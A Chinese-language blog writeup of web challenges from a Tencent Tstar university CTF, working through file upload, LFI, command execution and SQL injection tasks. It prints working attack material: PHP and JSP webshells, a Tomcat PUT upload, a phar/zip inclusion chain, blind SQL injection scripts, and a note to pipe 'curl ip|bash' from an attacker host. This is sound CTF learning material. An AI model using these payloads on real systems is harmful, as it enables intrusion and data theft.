腾讯Tstar高校挑战赛 Writeup

前言

这场比赛是昨天Tstar的靶场赛,由于整个比赛主线是渗透测试,所以这几个题比较简单。但有两个sql我还是没有做出来5555。

看了别的师傅的wp后,又学到了新知识👍🏻。

签到

比较简单,就是上传木马时抓包改后缀就好了。

连接就好了。

命令执行基础

没有什么过滤,所以直接执行找flag就好了。

你能爆破吗

看这个题目一开始我以为是爆破?然后就丢给burp跑了下,结果发现密码就是admin,打扰惹。

然后在response里看到了set-cookie,回页面看看。

发现cookie为uname=YWRtaW4%3D,解码看了下就是admin。

并且这个页面还给了查询语句为:

SELECT FROM users WHERE username="admin" LIMIT 0,1

那就是cookie注入惹。所以把注入语句base64编码后替换掉cookie就好了。

0" union select 1,2,3 #

看到回显位后就可以注入了。

0" union select 1,(group_concat(table_name) from information_schema.tables where table_schema=database()),user()#

表名为flag

0" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='flag'#

查flag

0" union select 1,flag,3 from flag#

文件上传

这道题把俺坑了,害得我做了好久。

下次我必定先fuzz一下什么会被过滤- -

这道题主要就是在检测替换了<?phpeval,因此双写绕过就可以了。

所以我们上传图片后抓取请求包,检测了内容大小,所以直接在图片内容里添加木马就好了。

构造的内容为:

<<??phphpp evevalal($_GET['hhhh']); ?>

或者(主要一开始没发现替换了eval…如果使用这个办法就没事了

<<??phphpp system('ls /'); ?>

然后修改文件名后缀为.pht上传就可以了。

文件包含getshell

提示了LFI,点进去是lfi.php,那大概就是本地文件包含漏洞了8.

注释里提示了lfi.txt,进去看到源码:

<?php
$file = $_REQUEST['file'];
if ($file != '') {
$inc = sprintf("%s.php", $file); // only php file can be included
include($inc);
}
?>

果然是了。

上传的时候只能上传txt文件,并且从源码中可以看出在文件后加了.php。所以我们可以利用phar://zip://协议读取。

把shell.php打包成zip,再改后缀为txt上传。

上传成功了。试试能不能用

http://966ca955.yunyansec.com/lfi.php?file=phar://files/nhqUchi0zQtA0 APg.txt/shell2&hhhh=phpinfo();

然后连接shell就阔以了。

成绩单

直接用sqlmap跑就可以了。

小猫咪踩灯泡

这道题本来是有难度的?但是出题人非常好心地再题目描述中给了cve编号。

然后就百度到了。

思路大概就是利用HTTP PUT请求方法,将构造好的jsp文件传到服务器上,jsp文件中的恶意代码被服务器执行,进而获取到服务器权限。

用burp抓包,先看看被允许的请求方式:

允许PUT,那么我们就可以用PUT上传jsp包了:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>

<%!public static String excuteCmd(String c) {

StringBuilder line = new StringBuilder();

try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));

String temp = null;while ((temp = buf.readLine()) != null) {

line.append(temp+"\n");}buf.close();} catch (Exception e) {

line.append(e.getMessage());}return line.toString();}%><%if("666".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){

out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

成功上传。试试执行命令:

http://3d0706f0.yunyansec.com/shell1.jsp?cmd=ls%20/&pwd=666

然后找flag文件读取就好了。

分析代码获得flag

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<7){
echo shell_exec($_GET[1]);
}
?>

六字符限制getshell

可以参考🌟🌟的这篇文章

他写得真的很详细了,所以就不重新写了。

顺便偷一波他的脚本

import requests


shells = [
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>v",
# ls -t>v

# curl ip|bash 适当分割并逆向放置

"sh _"
]
url = "http://c3ee93c4.yunyansec.com/"

for shell in shells:
print(shell)
r = requests.get(url, params={'1': shell})

放在服务器上的命令为:

cat ../key

然后执行sh v即可得到flag

噢对这道题还有个更简单的方法。

先写入cat

?1=>cat

输入通配符*,linux会把第一个列出的文件名当作命令,剩下的文件名当作参数。

然后看到flag所在文件在上一层

直接使用cat读取。

?1=* ../*

就读到flag了。

sql1

终于到了众望所归的sql了,然而sql1零解,我实在不懂这道200分的零解题还能有多难的做法。等官方wp吧。

sql2

sql2我思路歪了呜呜。主要是sql1和sql2使用的是同一个网页,出题人说有两处flag。

所以我以为是在两个注入点每处分别有一个flag。

刚好这道题在登陆界面和picture界面有两处注入点,所以我一直以为他们是独立的。

在登陆处怎么都没有回显,我也爆破了下也没有弱口令密码。所以靠心灵感应??因为sql2有5解了,sql1还0解,所以我以为这个点是sql1的,因为太靠心灵感应了所以没人解出来。

事实证明是我错了。登陆注入点得到的flag是sql2的…这道题是在picture处得到密码,然后拿到登陆界面去登陆,登陆进去就得到flag了。

行8

在做题的时候扫了下得到以下代码:

<?php
function SQL_DETECT($PictureId){
$a0=urldecode('%a0');
$PictureId=str_replace('\d', '', $PictureId);
$PictureId=str_replace($a0, '', $PictureId);
$PictureId=str_replace('\/\*.*?\*\/', '', $PictureId);
if(preg_match('/union|order.*by|and|\dor\d|\|\||sleep|BENCHMARK|substr|ascii|select|mid|right|left|right|substring|substring_index|INSTR|LOCATE/i', $PictureId)){

$PictureId='1';

}
return $PictureId;
}
>

过滤的比较死,然后我测试了下,用以下脚本爆出了数据库名。

import requests

url = 'http://95f82c36.yunyansec.com/picture.php'

flag = ""

payload1 = '1"^(ord(reverse(lpad(database(),{},1)))>{})-- '

s = requests.session()
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = {'id': payload1.format(i, mid)}
r = s.get(url=url, params=payload)
if "found" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 132:
break
flag += chr(mid)
print(flag)

print(flag)

跑出了数据库名为waf。

然后因为过滤了select什么的,用了好几种办法都没有绕过呜呜呜,我就放弃惹。

结束后看了下别人写的wp,tql5555

预期解

先猜解存在的字段:

Picture.php?id=0" | if(ord(password),1,null) %23

如果存在 password 字段,则返回正常页面.

我没想到直接猜解字段…谁知道他在里面会放这些字段呢- -学到了

经过猜解后发现存在usernamepasswordidpicture。所以password和图片都在同一个表里…就可以继续猜解username和password内容了。

然后继续猜解

这里有两个办法

if

来源

正则匹配

来源

import requests
a =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']
temp = ''
while(1):
for i in a:
url = 'http://xxx.yunyansec.com/picture.php?id=3" or password REGEXP '+'\'^'+temp+i+'\' %23'
r = requests.get(url)
if 'not found' not in r.text:
temp = temp+i
print (temp)
break

然后爆出用户名和密码后登陆就好了。

顺便,这题是原题。(手动微笑

非预期解

我还看到了个师傅直接用 load_file读源码,有点nb。本题作者讲他讲降权了的,所以才能这么用。

并且这个路径不太难猜,根据以下payload写个脚本就读出来了。

http://192.168.159.170/sql/picture.php?id=1"^if(hex(load_file('/var/www/html/index.php'))<"40",1,0)%23
Author: Neorah
Link: https://neorah.me/ctf/Tstar/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.